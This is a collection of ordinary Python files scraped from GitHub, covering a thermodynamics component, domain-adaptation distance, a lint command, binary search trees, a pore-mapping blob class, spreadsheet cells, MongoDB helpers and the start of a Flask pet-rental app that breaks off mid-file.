outconn.target.propagate_to_target(branch)\n\n return {outconn.label: branch}\n\n def start_fluid_wrapper_branch(self):\n outconn = self.outl[0]\n branch = {\n \"connections\": [outconn],\n \"components\": [self]\n }\n outconn.target.propagate_wrapper_to_target(branch)\n\n return {outconn.label: branch}\n\n @staticmethod\n def get_mandatory_constraints():\n return {}\n\n def exergy_balance(self, T0):\n r\"\"\"Exergy balance calculation method of a source.\n\n A source does not destroy or produce exergy. The value of\n :math:`\\dot{E}_\\mathrm{bus}` is set to the exergy of the mass flow to\n make exergy balancing methods more simple as in general a mass flow can\n be fuel, product or loss.\n\n Parameters\n ----------\n T0 : float\n Ambient temperature T0 / K.\n\n Note\n ----\n .. math::\n\n \\dot{E}_\\mathrm{bus} = \\dot{E}_\\mathrm{out}^\\mathrm{PH}\n \"\"\"\n self.E_P = np.nan\n self.E_F = np.nan\n self.E_bus = {\n \"chemical\": self.outl[0].Ex_chemical,\n \"physical\": self.outl[0].Ex_physical,\n \"massless\": 0\n }\n self.E_D = np.nan\n self.epsilon = self._calc_epsilon()\n","repo_name":"oemof/tespy","sub_path":"src/tespy/components/basics/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","stars":207,"dataset":"github-code","pt":"48"} +{"seq_id":"34210893925","text":"# Compute A-distance using numpy and sklearn\r\n# Reference: Analysis of representations in domain adaptation, NIPS-07.\r\n\r\nimport numpy as np\r\nfrom sklearn import svm\r\nimport scipy.io as io\r\n\r\n\r\ndef proxy_a_distance(source_X, target_X, verbose=False):\r\n \"\"\"\r\n Compute the Proxy-A-Distance of a source/target representation\r\n \"\"\"\r\n nb_source = np.shape(source_X)[0]\r\n nb_target = np.shape(target_X)[0]\r\n\r\n if verbose:\r\n print('PAD on', (nb_source, nb_target), 'examples')\r\n\r\n C_list = np.logspace(-5, 4, 10)\r\n\r\n half_source, half_target = int(nb_source/2), int(nb_target/2)\r\n train_X = np.vstack((source_X[0:half_source, :], target_X[0:half_target, :]))\r\n train_Y = np.hstack((np.zeros(half_source, dtype=int), np.ones(half_target, dtype=int)))\r\n\r\n test_X = np.vstack((source_X[half_source:, :], target_X[half_target:, :]))\r\n test_Y = np.hstack((np.zeros(nb_source - half_source, dtype=int), np.ones(nb_target - half_target, dtype=int)))\r\n\r\n best_risk = 1.0\r\n for C in C_list:\r\n clf = svm.SVC(C=C, kernel='linear', verbose=False)\r\n clf.fit(train_X, train_Y)\r\n\r\n train_risk = np.mean(clf.predict(train_X) != train_Y)\r\n test_risk = np.mean(clf.predict(test_X) != test_Y)\r\n\r\n if verbose:\r\n print('[ PAD C = %f ] train risk: %f test risk: %f' % (C, train_risk, test_risk))\r\n\r\n if test_risk > .5:\r\n test_risk = 1. - test_risk\r\n\r\n best_risk = min(best_risk, test_risk)\r\n\r\n return 2 * (1. - 2 * best_risk)\r\n\r\n\r\ndef sample(data):\r\n count = data.shape[0]\r\n indexall = np.arange(count)\r\n np.random.shuffle(indexall)\r\n ted = int(count * 0.2)\r\n indexte = indexall[:ted]\r\n sample_data = data[indexte, :]\r\n return sample_data\r\n\r\n\r\nif __name__ == '__main__':\r\n file_path = 'XXXX/'\r\n print(file_path)\r\n a_list = []\r\n for i in range(4):\r\n ### load source extracted features ###\r\n source_path = file_path + 'SCSN' + '_[' + str(i) + ']_feature_src.mat'\r\n matr = io.loadmat(source_path)\r\n source_data = matr[\"data\"]\r\n source_data = sample(source_data)\r\n print(source_data.shape)\r\n ### load target extracted features ###\r\n target_path = file_path + 'SCSN' + '_[' + str(i) + ']_feature_tgt.mat'\r\n matr = io.loadmat(target_path)\r\n target_data = matr[\"data\"]\r\n target_data = sample(target_data)\r\n # print(source_data.shape, target_data.shape)\r\n A = proxy_a_distance(source_data, target_data)\r\n a_list.append(A)\r\n for i in a_list:\r\n print(i)\r\n\r\n","repo_name":"WHUzhusihan96/SCSN","sub_path":"utils/A-distance.py","file_name":"A-distance.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"22682215740","text":"import os\nimport sys\n\nfrom chromite.buildbot import constants\nfrom chromite.lib import cros_build_lib\nfrom chromite.lib import git\n\nfrom chromite import cros\n\n\ndef _GetProjectPath(path, absolute):\n \"\"\"Get the project path for a given project.\"\"\"\n manifest = git.ManifestCheckout.Cached(path)\n project = manifest.FindProjectFromPath(path)\n if project is not None:\n return manifest.GetProjectPath(project, absolute=absolute)\n\n\ndef _GetPylintGroups(paths):\n \"\"\"Return a dictionary mapping pylintrc files to lists of paths.\"\"\"\n groups = {}\n for path in paths:\n if path.endswith('.py'):\n path = os.path.realpath(path)\n project_path = _GetProjectPath(path, absolute=True)\n parent = os.path.dirname(path)\n while project_path and parent.startswith(project_path):\n pylintrc = os.path.join(parent, 'pylintrc')\n if os.path.isfile(pylintrc):\n break\n parent = os.path.dirname(parent)\n if project_path is None or not os.path.isfile(pylintrc):\n pylintrc = os.path.join(constants.SOURCE_ROOT, 'chromite', 'pylintrc')\n groups.setdefault(pylintrc, []).append(path)\n return groups\n\n\ndef _GetPythonPath(paths):\n \"\"\"Return the set of Python library paths to use.\"\"\"\n return sys.path + [\n # Add the Portage installation inside the chroot to the Python path.\n # This ensures that scripts that need to import portage can do so.\n os.path.join(constants.SOURCE_ROOT, 'chroot', 'usr', 'lib', 'portage',\n 'pym'),\n\n # Scripts outside of chromite expect the scripts in src/scripts/lib to\n # be importable.\n os.path.join(constants.CROSUTILS_DIR, 'lib'),\n\n # Allow platform projects to be imported by name (e.g. crostestutils).\n os.path.join(constants.SOURCE_ROOT, 'src', 'platform'),\n\n # Ideally we'd modify meta_path in pylint to handle our virtual chromite\n # module, but that's not possible currently. We'll have to deal with\n # that at some point if we want `cros lint` to work when the dir is not\n # named 'chromite'.\n constants.SOURCE_ROOT,\n\n # Also allow scripts to import from their current directory.\n ] + list(set(os.path.dirname(x) for x in paths))\n\n\n@cros.CommandDecorator('lint')\nclass LintCommand(cros.CrosCommand):\n \"\"\"Run lint checks on the specified files.\"\"\"\n\n EPILOG = \"\"\"\nRight now, cros lint just runs pylint on *.py files, but we may also in future\nrun other checks (e.g. pyflakes, cpplint, etc.)\n\"\"\"\n\n @classmethod\n def AddParser(cls, parser):\n super(LintCommand, cls).AddParser(parser)\n parser.add_argument('files', help='Files to lint', nargs='+')\n\n def Run(self):\n errors = False\n for pylintrc, paths in sorted(_GetPylintGroups(self.options.files).items()):\n paths = sorted(list(set([os.path.realpath(x) for x in paths])))\n cmd = ['pylint', '--rcfile=%s' % pylintrc] + paths\n extra_env = {'PYTHONPATH': ':'.join(_GetPythonPath(paths))}\n res = cros_build_lib.RunCommand(cmd, extra_env=extra_env,\n error_code_ok=True, print_cmd=False)\n if res.returncode != 0:\n errors = True\n if errors:\n sys.exit(1)\n","repo_name":"espadrine/opera","sub_path":"chromium/src/third_party/chromite/cros/commands/cros_lint.py","file_name":"cros_lint.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"48"} +{"seq_id":"12427618241","text":"'''\nCreated on 05.05.2015\n\n@author: Tugrul\n'''\n\n\nclass Node:\n def __init__(self, value):\n '''\n Constructor\n '''\n self.value = value\n self.leftChild = None\n self.rightChild = None\n \n def insert(self, data):\n if self.value == data:\n 'if there is a Node with the same value it inserts it on the right side/ right child' \n self.rightChild = Node(data)\n \n elif self.value > data:\n 'if the data/value of the new node is lower it checks if there is any left child if it has a left child it inserts it there if not it creats a new left child'\n if self.leftChild:\n self.leftChild.insert(data)\n else:\n self.leftChild = Node(data)\n \n else:\n if self.rightChild:\n 'if the data/value of the new node is higher it checks if there is any right child if it has a right child it inserts it there if not it creats a new right child'\n self.rightChild.insert(data)\n else:\n self.rightChild = Node(data)\n \n \n def find(self, data):\n 'recursive method to find the Node'\n if(self.value == data):\n 'checking if the Node is found'\n return True\n elif self.value > data:\n 'if its lower then the value it just can be on the left side - BS-Tree Concept!'\n if self.leftChild:\n return self.leftChild.find(data)\n else:\n 'it not here'\n return False\n else:\n 'else its on the right side'\n if self.rightChild:\n return self.rightChild.find(data)\n else:\n 'its not here'\n return False\n \n def preOrder(self):\n 'to preorder the Nodes'\n if self:\n print (str(self.value))\n if self.leftChild:\n self.leftChild.preOrder()\n if self.rightChild:\n self.rightChild.preOrder()\n \n def delete(self, data):\n 'delete the node with the given key and return the root node of the tree'\n if self.value == data:\n 'found the node we need to delete'\n \n if self.rightChild and self.leftChild: \n \n 'get the successor node and its parent'\n [psucc, succ] = self.rightChild.find(self)\n \n 'splice out the successor'\n '(we need the parent to do this)' \n \n if psucc.leftChild == succ:\n psucc.leftChild = succ.rightChild\n else:\n psucc.rightChild = succ.rightChild\n \n 'reset the left and right children of the successor'\n \n succ.leftChild = self.leftChild\n succ.rightChild = self.rightChild\n \n return succ \n \n else:\n if self.leftChild:\n 'promote the left subtree'\n return self.leftChild \n else:\n 'promote the right subtree'\n return self.rightChild \n else:\n 'key should be in the left subtree'\n if self.value > data: \n if self.leftChild:\n self.leftChild = self.leftChild.delete(data)\n 'else the key is not in the tree'\n \n \n else:\n 'key should be in the right subtree' \n if self.rightChild:\n self.rightChild = self.rightChild.delete(data)\n \n return self \n \n \n\n\nclass Tree:\n \n def __init__(self):\n self.root = None\n \n def insert(self, data):\n self.nodeValue = str(data)\n assert type(data) is int, \"Node is not an integer, its a B-Tree please insert an int value. False Value: \" +self.nodeValue\n 'to call the recursive funktion in Node'\n if self.root:\n 'checking if there is already a B-Tree if there is one we call the recursive method to insert a Node'\n self.root.insert(data)\n assert self.find(data), 'could not add the Node you want to'\n else:\n 'if not then we are creating a root node/ a new B-Tree'\n self.root = Node(data)\n assert self.find(data), 'could not create a new B-Tree/root Node'\n \n \n def find(self, data):\n assert type(data) is int, 'please search for an integer'\n 'funktion to call the recursive funktion in Node Class'\n if self.root:\n 'checking if there is any root Node if not there is no B-Tree'\n return self.root.find(data)\n else:\n 'it couldnt find the Node - there is no Node with the value we R searching for'\n return False\n \n def delete(self, data):\n assert self.find(data), 'there is no Node with that value to delete'\n 'delete the node with the given key if it exists '\n if self.root:\n self.root = self.root.delete(data)\n assert not self.find(data), 'try again, it could not delete the Node you want to'\n \n def preOrder(self):\n print(\"-- PreOrder --\")\n self.root.preOrder()\n print(\"-- End Of PreOrder --\")\n \n \nif __name__ == '__main__':\n pass\n \nbst = Tree()\nbst.insert(14)\nbst.insert(-1)\nbst.insert(1)\nbst.insert(2)\nbst.insert(-2)\nbst.insert(-2)\nbst.insert(30)\nbst.insert(148)\nbst.insert(9)\nbst.preOrder()\nprint(bst.find(30))\nbst.delete(30)\nprint(\" \")\nprint(\"------------- geloescht -------------\")\nbst.preOrder()\nprint(bst.find(30))\n\n\n \n \n ","repo_name":"JericoPablo/Inf3Gruppe4","sub_path":"python/BeeTree/src/BST.py","file_name":"BST.py","file_ext":"py","file_size_in_byte":6010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1591510076","text":"\"\"\"\nBlob\n====\n\n#. :class:`.Blob`\n\nBlob class for optimisation.\n\n\"\"\"\n\nfrom __future__ import annotations\n\nfrom collections import abc\n\nfrom dataclasses import dataclass, asdict\nfrom typing import Optional\nimport numpy as np\nfrom scipy.spatial.distance import euclidean\nfrom sklearn.cluster import MeanShift\nimport json\n\nfrom .bead import Bead\n\n\n@dataclass\nclass BlobProperties:\n num_beads: int\n maximum_diameter: float\n\n\nclass Blob:\n \"\"\"\n Representation of a Blob containing beads and positions.\n\n \"\"\"\n\n def __init__(\n self,\n beads: abc.Iterable[Bead],\n position_matrix: np.ndarray,\n movable_bead_ids: Optional[abc.Iterable[int]] = None,\n ):\n \"\"\"\n Initialize a :class:`Blob` instance from beads.\n\n Parameters:\n\n beads:\n Beads that define the blob.\n\n position_matrix:\n A ``(n, 3)`` matrix holding the position of every atom in\n the :class:`.Molecule`.\n\n movable_bead_ids:\n IDs of beads that are movable.\n\n \"\"\"\n\n self._beads = tuple(beads)\n self._sigma = self._beads[0].get_sigma()\n self._num_beads = len(self._beads)\n if movable_bead_ids is None:\n self._movable_bead_ids = tuple(i.get_id() for i in beads)\n else:\n self._movable_bead_ids = tuple(movable_bead_ids)\n\n self._position_matrix = np.array(\n position_matrix.T,\n dtype=np.float64,\n )\n\n @classmethod\n def init_from_idealised_geometry(\n cls,\n bead_sigma: float,\n num_beads: int,\n sphere_radius: float,\n ) -> Blob:\n \"\"\"\n Initalise a blob in an idealised geometry.\n\n \"\"\"\n\n blob = cls.__new__(cls)\n blob._num_beads = num_beads\n blob._sigma = bead_sigma\n blob._beads = tuple(\n Bead(i, bead_sigma) for i in range(num_beads)\n )\n blob._movable_bead_ids = tuple(i.get_id() for i in blob._beads)\n blob._define_idealised_geometry(num_beads, sphere_radius)\n return blob\n\n def _define_idealised_geometry(\n self,\n num_beads: int,\n sphere_radius: float\n ) -> None:\n \"\"\"\n Define a sphere with num_beads and radius 0.1.\n\n Here I use code by Alexandre Devert for spreading points on a\n sphere: http://blog.marmakoide.org/?p=1\n\n Same code as pywindow.\n\n \"\"\"\n\n golden_angle = np.pi * (3 - np.sqrt(5))\n theta = golden_angle * np.arange(num_beads)\n z = np.linspace(\n 1 - 1.0 / num_beads,\n 1.0 / num_beads - 1.0,\n num_beads,\n )\n radius = np.sqrt(1 - z * z)\n points = np.zeros((3, num_beads))\n points[0, :] = sphere_radius * np.cos(theta) * radius\n points[1, :] = sphere_radius * np.sin(theta) * radius\n points[2, :] = z * sphere_radius\n\n self._position_matrix = np.array(\n points,\n dtype=np.float64,\n )\n\n def get_sigma(self) -> float:\n \"\"\"\n Return sigma of beads.\n\n \"\"\"\n\n return self._sigma\n\n def get_position_matrix(self) -> np.ndarray:\n \"\"\"\n Return a matrix holding the bead positions.\n\n Returns:\n\n The array has the shape ``(n, 3)``. Each row holds the\n x, y and z coordinates of an atom.\n\n \"\"\"\n\n return np.array(self._position_matrix.T)\n\n def get_centroid(self) -> np.ndarray:\n \"\"\"\n Return the centroid.\n\n Returns:\n\n The centroid of atoms specified by `atom_ids`.\n\n \"\"\"\n\n n_beads = len(self._beads)\n return np.divide(\n self._position_matrix[:, range(n_beads)].sum(axis=1),\n n_beads\n )\n\n def get_num_beads(self) -> int:\n \"\"\"\n Return the number of beads.\n\n \"\"\"\n\n return self._num_beads\n\n def get_beads(self) -> abc.Iterable[Bead]:\n \"\"\"\n Yield the beads in the molecule, ordered as input.\n\n Yields:\n\n A Bead in the blob.\n\n \"\"\"\n\n for bead in self._beads:\n yield bead\n\n def with_displacement(self, displacement: np.ndarray) -> Blob:\n \"\"\"\n Return a displaced clone Blob.\n\n Parameters:\n\n displacement:\n The displacement vector to be applied.\n\n \"\"\"\n\n new_position_matrix = (\n self._position_matrix.T + displacement\n )\n return Blob(\n beads=self._beads,\n position_matrix=np.array(new_position_matrix),\n movable_bead_ids=self._movable_bead_ids,\n )\n\n def with_centroid(self, position: np.ndarray) -> Blob:\n \"\"\"\n Return a clone with a new centroid.\n\n \"\"\"\n\n centroid = self.get_centroid()\n displacement = position-centroid\n return self.with_displacement(displacement)\n\n def get_movable_bead_ids(self):\n return self._movable_bead_ids\n\n def with_movable_bead_ids(\n self,\n movable_bead_ids: abc.Iterable[int],\n ) -> Blob:\n \"\"\"\n Return a clone with new movable bead ids.\n\n \"\"\"\n\n clone = self.__class__.__new__(self.__class__)\n Blob.__init__(\n self=clone,\n beads=self._beads,\n position_matrix=self._position_matrix.T,\n movable_bead_ids=movable_bead_ids,\n )\n return clone\n\n def with_position_matrix(\n self,\n position_matrix: np.ndarray,\n ) -> Blob:\n \"\"\"\n Return clone Blob with new position matrix.\n\n Parameters:\n\n position_matrix:\n A position matrix of the clone. The shape of the\n matrix is ``(n, 3)``.\n\n \"\"\"\n\n clone = self.__class__.__new__(self.__class__)\n Blob.__init__(\n self=clone,\n beads=self._beads,\n position_matrix=np.array(position_matrix),\n movable_bead_ids=self._movable_bead_ids,\n )\n return clone\n\n def _write_xyz_content(self) -> str:\n \"\"\"\n Write basic `.xyz` file content of Blob.\n\n \"\"\"\n coords = self.get_position_matrix()\n content = [0]\n for i, bead in enumerate(self.get_beads(), 1):\n x, y, z = (i for i in coords[bead.get_id()])\n movable = (\n 1 if bead.get_id() in self._movable_bead_ids\n else 0\n )\n content.append(\n f'B {x:f} {y:f} {z:f} {movable}\\n'\n )\n # Set first line to the atom_count.\n content[0] = f'{i}\\nBlob!\\n'\n\n return content\n\n def write_xyz_file(self, path) -> None:\n \"\"\"\n Write blob to path.\n\n \"\"\"\n\n content = self._write_xyz_content()\n\n with open(path, 'w') as f:\n f.write(''.join(content))\n\n def get_maximum_diameter(self) -> float:\n \"\"\"\n Return the maximum diameter.\n\n This method does not account for the van der Waals radius of\n atoms.\n\n \"\"\"\n\n coords = self._position_matrix\n return float(euclidean(coords.min(axis=1), coords.max(axis=1)))\n\n def get_properties(self) -> BlobProperties:\n\n return BlobProperties(\n num_beads=self._num_beads,\n maximum_diameter=self.get_maximum_diameter(),\n )\n\n def get_windows(self) -> abc.Iterable[float]:\n\n if len(self._movable_bead_ids) == self._num_beads:\n return [0]\n\n if len(self._movable_bead_ids) == 0:\n return [0]\n\n movable_bead_coords = np.array([\n self._position_matrix.T[i] for i in self._movable_bead_ids\n ])\n\n # Cluster points.\n clustering = MeanShift().fit(movable_bead_coords)\n labels = set(clustering.labels_)\n windows = []\n for label in labels:\n bead_ids = tuple(\n _id for i, _id in enumerate(self._movable_bead_ids)\n if clustering.labels_[i] == label\n )\n label_coords = np.array([\n self._position_matrix.T[i] for i in bead_ids\n ])\n label_centroid = np.divide(\n label_coords.sum(axis=0), len(bead_ids)\n )\n max_label_distance = max([\n euclidean(i, label_centroid)\n for i in label_coords\n ])\n windows.append(max_label_distance)\n\n return windows\n\n def write_properties(self, path: str, potential: float) -> None:\n \"\"\"\n Write properties as json to path.\n\n \"\"\"\n\n with open(path, 'w') as f:\n json.dump(asdict(self.get_properties(potential)), f)\n\n def __str__(self):\n return repr(self)\n\n def __repr__(self):\n return (\n f'{self.__class__.__name__}({self._num_beads} beads)'\n )\n","repo_name":"andrewtarzia/PoreMapper","sub_path":"pore_mapper/blob.py","file_name":"blob.py","file_ext":"py","file_size_in_byte":8866,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"35835801803","text":"from FormulaParser import parse_formula\nfrom Exceptions import *\n\nfrom collections import deque\n\nclass Formula:\n\n def __init__(self, formula, func):\n self.formula = formula\n self.func = func\n self.cached = None\n\n def calculate(self, sheet):\n self.cached = self.func(sheet)\n\n def __repr__(self):\n return self.formula + \"[=\" + str(self.cached) + \"]\"\n\nEMPTY_TYPE = \"EMPTY\"\nTEXT_TYPE = \"TEXT\"\nNUMBER_TYPE = \"NUMBER\"\nFORMULA_TYPE = \"FORMULA\"\n\nclass Cell:\n\n def __init__(self, identifier):\n\n self.dependancies = set()\n self.subscribers = set()\n self.clear_definition()\n self.identifier = identifier\n\n def clear_definition(self):\n self.value = None\n self.type = EMPTY_TYPE\n\n def set_definition(self, definition, sheet):\n\n if definition.startswith(\"=\"):\n (deps, func) = parse_formula(definition[1:])\n self.change_deps(deps, sheet)\n\n self.value = Formula(definition, func)\n self.type = FORMULA_TYPE\n\n else:\n try:\n if \".\" in definition:\n self.value = float(definition)\n else:\n self.value = int(definition)\n self.type = NUMBER_TYPE\n except ValueError:\n self.value = definition\n self.type = TEXT_TYPE\n\n self.propagate_values(sheet)\n\n def add_sub(self, sub):\n self.subscribers.add(sub)\n\n def remove_sub(self, sub):\n self.subscribers.remove(sub)\n\n def change_deps(self, new_deps, sheet):\n for dep in self.dependancies:\n sheet[dep].remove_sub(self.identifier)\n\n self.dependancies = new_deps\n\n for dep in self.dependancies:\n if dep not in sheet:\n sheet[dep] = Cell(dep)\n sheet[dep].add_sub(self.identifier)\n\n def update_value(self, sheet):\n if self.type == FORMULA_TYPE:\n self.value.calculate(sheet)\n\n def propagate_values(self, sheet):\n\n queue = deque([self.identifier])\n visited = set()\n \n while len(queue) > 0:\n identifier = queue.popleft()\n if identifier in visited:\n raise FormulaException(\"Cyclic dependancy on \" + identifier)\n visited.add(identifier)\n cell = sheet[identifier]\n cell.update_value(sheet)\n for sub in cell.subscribers:\n queue.append(sub)\n \n\n def get_value(self):\n if self.type == EMPTY_TYPE:\n raise FormulaException(\"referenced cell is empty\")\n elif self.type == TEXT_TYPE:\n return self.value\n elif self.type == NUMBER_TYPE:\n return self.value\n elif self.type == FORMULA_TYPE:\n return self.value.cached\n else:\n raise Exception(\"invalid cell type:\" + self.type)\n\n def __repr__(self):\n return \"[%s] <%s> deps=%s subs=%s\"%(self.type, self.value, list(self.dependancies), list(self.subscribers))\n","repo_name":"samtherussell/spreadsheet","sub_path":"Cell.py","file_name":"Cell.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25278197407","text":"import logging\n\nimport environ\nfrom bson.objectid import ObjectId\nfrom pymongo import MongoClient, UpdateOne\n\nfrom clients.logs import MainframeHandler\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(MainframeHandler())\n\n\ndef bulk_update(requests, collection=\"matches\"):\n logger.warning(\"Saving %d objects\", len(requests))\n results = get_collection(collection).bulk_write(requests)\n logger.info(\n \"Bulk write results:\\n\"\n \"Deleted: %d\\n\"\n \"Inserted: %d\\n\"\n \"Matched: %d\\n\"\n \"Modified: %d\\n\"\n \"Upserted: %d\\n\",\n results.deleted_count,\n results.inserted_count,\n results.matched_count,\n results.modified_count,\n results.upserted_count,\n )\n return results\n\n\ndef get_collection(name=\"matches\"):\n env = environ.Env()\n url = env(\"CHALLONGE_DATABASE_URL\")\n return MongoClient(host=url)[env(\"CHALLONGE_DATABASE_NAME\")][name]\n\n\ndef get_many(collection, order_by=None, how=-1, silent=True, skip=0, limit=0, **kwargs):\n result = get_collection(collection).find(kwargs, skip=skip, limit=limit)\n if order_by:\n return result.sort(order_by, how)\n if not silent and not result:\n raise ValueError(f'No stats found in \"{collection}\" with {kwargs}')\n return result\n\n\ndef get_stats(collection, silent=False, **kwargs):\n logger.info('Getting stats (%s) from collection \"%s\"', kwargs, collection)\n if not kwargs:\n raise ValueError(\"filter kwargs required\")\n if \"_id\" in kwargs:\n kwargs[\"_id\"] = ObjectId(kwargs[\"_id\"])\n stats = get_collection(collection).find_one(kwargs)\n if stats:\n stats.pop(\"_id\")\n elif not silent:\n raise ValueError(f'No stats found in \"{collection}\" with {kwargs}')\n return stats\n\n\ndef filter_by_ids(ids):\n return list(get_collection().find({\"id\": {\"$in\": ids}}, sort=[(\"id\", 1)]))\n\n\ndef set_stats(stats, commit=True, collection=\"matches\", **filter_kwargs):\n if not filter_kwargs:\n raise ValueError(\"filter kwargs required\")\n\n update_params = {\n \"filter\": filter_kwargs,\n \"update\": {\"$set\": stats},\n \"upsert\": True,\n }\n if not commit:\n return UpdateOne(**update_params)\n\n return get_collection(collection).update_one(**update_params)\n","repo_name":"andreipradan/mainframe","sub_path":"backend/bots/clients/mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31443117957","text":"class Node:\n def __init__(self, info):\n self.info = info\n self.left = None\n self.right = None\n self.level = None\n\n def __str__(self):\n return str(self.info)\n\n\ndef preOrder(root):\n if root is None:\n return\n print(root.info, end=\" \")\n preOrder(root.left)\n preOrder(root.right)\n\n\n# recursive\n# class BinarySearchTree:\n# def __init__(self):\n# self.root = None\n#\n# def ins(self, cur, val):\n# if not cur:\n# cur = Node(val)\n# elif val > cur.info:\n# cur.right = self.ins(cur.right, val)\n# else:\n# cur.left = self.ins(cur.left, val)\n# return cur\n#\n# def insert(self, val):\n# self.root = self.ins(self.root, val)\n\n\n# iterative\nclass BinarySearchTree:\n def __init__(self):\n self.root = None\n\n def insert(self, val):\n if not self.root:\n self.root = Node(val)\n return\n cur = self.root\n\n while True:\n if val > cur.info:\n if cur.right:\n cur = cur.right\n else:\n cur.right = Node(val)\n break\n else:\n if cur.left:\n cur = cur.left\n else:\n cur.left = Node(val)\n break\n\n\nif __name__ == '__main__':\n tree = BinarySearchTree()\n t = int(input())\n\n arr = list(map(int, input().split()))\n\n for i in range(t):\n tree.insert(arr[i])\n\n preOrder(tree.root)\n","repo_name":"ruan65/python_algorithms_and_problem_solving","sub_path":"hacker_rank/python_practice/trees/insert_node.py","file_name":"insert_node.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40461964422","text":"from collections import deque\r\nclass TreeNode:\r\n def __init__(self, value):\r\n self.val = value\r\n self.left = None\r\n self.right = None\r\n\r\ndef constructBST(preorder):\r\n if not preorder:\r\n return None\r\n\r\n root = TreeNode(preorder[0])\r\n\r\n for i in range(1, len(preorder)):\r\n insert(root, preorder[i])\r\n\r\n return root\r\n\r\ndef insert(root, value):\r\n if not root:\r\n return TreeNode(value)\r\n\r\n if value < root.val:\r\n root.left = insert(root.left, value)\r\n else:\r\n root.right = insert(root.right, value)\r\n\r\n return root\r\n\r\ndef levelOrderTraversal(root):\r\n if not root:\r\n return\r\n\r\n queue = deque([root])\r\n\r\n while queue:\r\n node = queue.popleft()\r\n print(node.val, end=' ')\r\n\r\n if node.left:\r\n queue.append(node.left)\r\n if node.right:\r\n queue.append(node.right)\r\n\r\n\r\n# Test the program\r\npreorder = [8, 5, 1, 7, 10, 12]\r\nroot = constructBST(preorder)\r\nlevelOrderTraversal(root)\r\n","repo_name":"369harshit/Day-20-BST","sub_path":"Construct Binary Search Tree from Preorder Traversal.py","file_name":"Construct Binary Search Tree from Preorder Traversal.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43617850820","text":"def isMagic(dia,mes,ano):\n if str(dia * mes) == str(ano)[2:]:\n return True\n else:\n return False\n\ndef getDays(mes,ano):\n fevereiro = 28\n if (ano % 400 == 0 and ano % 4 == 0 and ano % 100 == 0) or (ano % 4 == 0 and ano % 100 != 0):\n fevereiro = 29\n diasPorMes = [31,fevereiro,31,30,31,30,31,31,30,31,30,31]\n return diasPorMes[mes-1]\n\ndef main():\n for ano in range(1901,2001):\n for mes in range(12):\n for dia in range(getDays(mes+1,ano)):\n if isMagic(dia,mes,ano):\n print(f'{dia}\\{mes}\\{ano} é uma data mágica')\n\nif __name__ == '__main__':\n main()\n","repo_name":"josemateusamaral/algoritmos","sub_path":"algoritmos05/JMAM-Alg-05-Ex-14.py","file_name":"JMAM-Alg-05-Ex-14.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35688249932","text":"import os\nimport secrets\nfrom datetime import datetime\nfrom flask import render_template, url_for, flash, redirect, request, jsonify\nfrom flask_login import login_required, current_user, login_user, logout_user\nfrom PIL import Image\nfrom rentacat import app, db, bcrypt\nfrom rentacat.forms import RegistrationForm, LoginForm, UpdateProfileForm, PostForm\nfrom rentacat.models import User, Profile, Request, Offer\n\n\ndef save_image(form_picture, directory):\n\trandom_hex = secrets.token_hex(8)\n\t_, f_ext = os.path.splitext(form_picture.filename)\n\tpicture_fn = random_hex + f_ext\n\tpicture_path = os.path.join(app.root_path, 'static/' + directory, picture_fn)\n\n\toutput_size = (256, 256)\n\ti = Image.open(form_picture)\n\ti.thumbnail(output_size)\n\ti.save(picture_path)\n\t\n\treturn picture_fn\n\n\n@app.route(\"/\")\n@app.route(\"/home\")\n@app.route(\"/index\")\ndef index():\n\treturn render_template(\"index.html\", title=\"Home\", h1=\"Rent a Cat\", h2=\"Join the community\", header_h2_only=True)\n\n\n@app.route(\"/about\")\ndef about():\n\treturn render_template(\"about.html\", h2=\"About Rent a Cat\", title=\"About\")\n\n\n@app.route(\"/signup\", methods=[\"GET\", \"POST\"])\ndef registration():\n\tif current_user.is_authenticated:\n\t\treturn redirect(url_for('dashboard'))\n\t\n\tform = RegistrationForm()\n\tif form.validate_on_submit():\n\t\thashed_password = bcrypt.generate_password_hash(form.password.data).decode('utf-8')\n\n\t\tuser = User(username=form.username.data, email=form.email.data, password=hashed_password)\n\t\tdb.session.add(user)\n\t\tdb.session.commit()\n\n\t\tflash(f'Welcome aboard, {form.username.data}! You can now log in!', 'success')\n\n\t\treturn redirect(url_for('login'))\n\n\treturn render_template(\"registration.html\", title=\"Sign up\", form=form, h2=\"Create an account\")\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n\tif current_user.is_authenticated:\n\t\treturn redirect(url_for('dashboard'))\n\n\tform = LoginForm()\n\tif form.validate_on_submit():\n\t\tuser = User.query.filter_by(email=form.email.data).first()\n\t\tif user and bcrypt.check_password_hash(user.password, form.password.data):\n\t\t\tlogin_user(user, remember=form.remember.data)\n\t\t\t# update last login\n\t\t\tuser.last_login = datetime.utcnow\n\t\t\t# redirect to the page user was initially interested in (if any)\n\t\t\tnext_page = request.args.get('next')\n\t\t\treturn redirect(next_page) if next_page else redirect(url_for('dashboard'))\n\t\telse:\n\t\t\tflash('Nope. Please check if your email and/or password are correct.', 'error')\n\treturn render_template(\"login.html\", title=\"Log in\", form=form, h2=\"Log in\")\n\n\n@app.route(\"/dashboard\")\n@login_required\ndef dashboard():\n\tprofile_types = {\n\t\t'CatKeeper': 'Cat 